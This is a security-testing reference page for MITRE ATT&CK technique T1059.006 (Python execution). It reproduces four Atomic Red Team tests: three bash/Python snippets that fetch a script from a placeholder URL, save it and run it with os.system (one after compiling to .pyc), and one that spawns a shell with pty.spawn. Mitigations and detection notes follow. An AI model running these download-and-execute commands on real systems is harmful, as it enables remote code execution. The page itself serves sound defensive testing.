T1059.006 Python

> Sub-technique of: T1059

High-Level Description

Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.

Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.

Kill Chain Phase

• Execution (TA0002)

Platforms: ESXi, Linux, macOS, Windows

What to Check

• ] Identify if Python technique is applicable to target environment
• ] Check ESXi systems for indicators of Python
• ] Check Linux systems for indicators of Python
• ] Check macOS systems for indicators of Python
• ] Verify mitigations are bypassed or absent (4 known mitigations)
• ] Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Execute shell script via python's command mode arguement

Download and execute shell script and write to file then execute locally using Python -c (command mode)

Supported Platforms: linux

bash
which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'

Dependencies:

• Verify if python is in the environment variable path and attempt to import requests library.

Atomic Test 2: Execute Python via scripts

Create Python file (.py) that downloads and executes shell script via executor arguments

Supported Platforms: linux

bash
which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python #{python_script_name}

Dependencies:

• Requires Python

Atomic Test 3: Execute Python via Python executables

Create Python file (.py) then compile to binary (.pyc) that downloads an external malicious script then executes locally using the supplied executor and arguments

Supported Platforms: linux

bash
which_python=$(which python || which python3 || which python3.9 || which python2)
echo 'import requests' > #{python_script_name}
echo 'import os' >> #{python_script_name}
echo 'url = "#{script_url}"' >> #{python_script_name}
echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
echo 'session = requests.session()' >> #{python_script_name}
echo 'source = session.get(url).content' >> #{python_script_name}
echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
echo 'fd.write(source)' >> #{python_script_name}
echo 'fd.close()' >> #{python_script_name}
echo 'os.system(malicious_command)' >> #{python_script_name}
$which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")'
$which_python #{python_binary_name}

Dependencies:

• Requires Python

Atomic Test 4: Python pty module and spawn function used to spawn sh or bash

Uses the Python spawn function to spawn a sh shell followed by a bash shell. Per Volexity, this technique was observed in exploitation of Atlassian Confluence CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

Supported Platforms: linux

bash
which_python=$(which python || which python3 || which python3.9 || which python2)
$which_python -c "import pty;pty.spawn('/bin/sh')"
exit
$which_python -c "import pty;pty.spawn('/bin/bash')"
exit

Dependencies:

• Verify if python is in the environment variable path and attempt to import requests library.

Manual Testing

If Atomic Red Team tests are not applicable, manually verify the technique by:

1. Identify Attack Surface: Determine if the target environment is susceptible to Python by examining the target platforms (ESXi, Linux, macOS).

1. Assess Existing Defenses: Review whether mitigations for T1059.006 are in place. If defenses are absent or misconfigured, this technique may be exploitable.

1. Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.

Remediation Guide

M1047 Audit

Inventory systems for unauthorized Python installations.

M1049 Antivirus/Antimalware

Anti-virus can be used to automatically quarantine suspicious files.

M1033 Limit Software Installation

Prevent users from installing Python where not required.

M1038 Execution Prevention

Denylist Python where not required.

Detection

Cross-Platform Behavioral Detection of Python Execution

Risk Assessment

| Finding | Severity | Impact | | --------------------------- | -------- | --------- | | Python technique applicable | Low | Execution |

CWE Categories

| CWE ID | Title | | ------ | -------------------------------------- | | CWE-94 | Improper Control of Generation of Code |

References

• Zscaler APT31 Covid-19 October 2020
• Atomic Red Team - T1059.006
• MITRE ATT&CK - T1059.006